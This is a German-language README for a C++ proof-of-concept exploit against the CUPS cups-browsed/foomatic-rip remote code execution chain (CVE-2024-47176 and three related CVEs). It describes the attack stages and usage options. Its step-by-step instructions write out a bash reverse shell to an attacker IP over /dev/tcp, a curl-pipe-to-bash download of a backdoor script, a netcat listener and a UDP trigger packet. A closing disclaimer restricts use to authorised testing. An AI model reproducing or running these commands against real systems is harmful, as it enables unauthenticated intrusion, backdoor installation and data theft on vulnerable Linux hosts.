
C++ Exploit für nicht authentifizierte Remotecodeausführung auf CUPS über CVE-2024-47176-Kette.
Ein voll funktionsfähiger Proof-of-Concept-Exploit, der die im September 2024 entdeckte Remote-Code-Ausführungsschwachstellenkette von CUPS (Common Unix Printing System) angreift. Diese Kette besteht aus vier CVEs – CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 und CVE-2024-47177 – die zusammen einem nicht authentifizierten Remoteeindringling die Ausführung beliebiger Befehle auf jedem Linux-System mit einer anfälligen Version von CUPS ermöglichen.
Der Exploit setzt einen unechten IPP-Server (Internet Printing Protocol) ein, der einen Netzwerkdrucker imitiert. Der Angriff läuft in vier Phasen ab:
Stufe 1 — Erkennungsauslöser Ein manipuliertes UDP-Paket wird an den Zielport 631 gesendet. Der cups-browsed-Daemon vertraut diesem Paket ohne Authentifizierung und initiiert eine TCP-Verbindung zurück zum IPP-Server des Angreifers, um Druckerattribute abzurufen.
Stufe 2 — Auslieferung einer bösartigen PPD-Datei Der IPP-Server des Angreifers antwortet mit Druckerattributen, die unbereinigte Daten enthalten. Diese Daten durchlaufen libcupsfilters und libppd, die die Eingabe nicht validieren oder bereinigen, wodurch eine bösartige FoomaticRIPCommandLine-Direktive in eine PPD-Datei eingebettet werden kann.
Stufe 3 — Befehlseinschleusung Wenn ein Druckauftrag an den vom Angreifer kontrollierten Drucker gesendet wird (entweder automatisch oder durch eine Benutzeraktion), verarbeitet der foomatic-rip-Filter die PPD-Datei und führt den eingeschleusten Befehl mit den Rechten des lp-Benutzers aus.
Stufe 4 — Payload-Ausführung Der eingeschleuste Befehl wird auf dem Zielsystem ausgeführt. Übliche Payloads umfassen Reverse Shells, Backdoor-Installation, Datenexfiltration oder Vorbereitung zur Privilegienerweiterung.
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
Die meisten Linux-Distributionen wurden bis zu den Patches Ende 2024 mit betroffenen Versionen ausgeliefert.
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Keine externen Abhängigkeiten. Lässt sich auf jeder Linux-Distribution mit g++ kompilieren.
./cups_rce_exploit -l <ATTACKER_IP> -r [options]
-l, --listener IP-Adresse des Angreifers für den unechten IPP-Server-r, --reverse Auszuführender Befehl auf dem Ziel oder Pfad zu einer Skriptdatei-t, --target IP-Adresse des Zielrechners (sendet automatisch ein UDP-Triggerpaket)-p, --port Port für den unechten IPP-Server (Standard: 631)-s, --spoof Spoof-Name des Druckers (Standard: VulnPrinter)-T, --target-port UDP-Zielport (Standard: 631)-h, --help Hilfemeldung anzeigenTerminal 1 – Listener starten: nc -lvnp 4444
Terminal 2 – Exploit ausführen: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
Terminal 1 – Server starten: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
Terminal 2 – UDP-Trigger an Ziel senden: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
Schritt 1: Richten Sie einen Netcat-Listener auf Ihrem Angreifer-Rechner ein nc -lvnp 4444
Schritt 2: Kompilieren Sie den Exploit g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Schritt 3: Führen Sie den Exploit gegen das Ziel aus ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
Schritt 4: Wenn ein Benutzer auf dem Zielrechner eine Testseite oder ein Dokument an den unechten Drucker sendet, erhalten Sie eine Reverse Shell als lp-Benutzer.
RECHTLICHER HINWEIS
Diese Software wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Sie soll Sicherheitsexperten, Penetrationstestern und Systemadministratoren helfen, die beschriebenen Schwachstellen zu verstehen, zu erkennen und sich dagegen zu verteidigen.
Die unbefugte Nutzung dieses Exploits gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal und kann gegen den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act und ähnliche Gesetze in anderen Rechtsordnungen verstoßen.
Autorisierte Anwendungsfälle umfassen Sicherheitsbewertungen auf Systemen, die Sie besitzen, Penetrationstests mit schriftlicher Autorisierung, Bug-Bounty-Programme mit explizitem Umfang, akademische Forschung in kontrollierten Laborumgebungen und CTF-Wettbewerbe.
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden. Die Nutzer sind allein verantwortlich für die Einhaltung aller geltenden Gesetze und für die Einholung der ordnungsgemäßen Genehmigung vor dem Testen.
Durch die Nutzung dieser Software akzeptieren Sie diese Bedingungen.
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org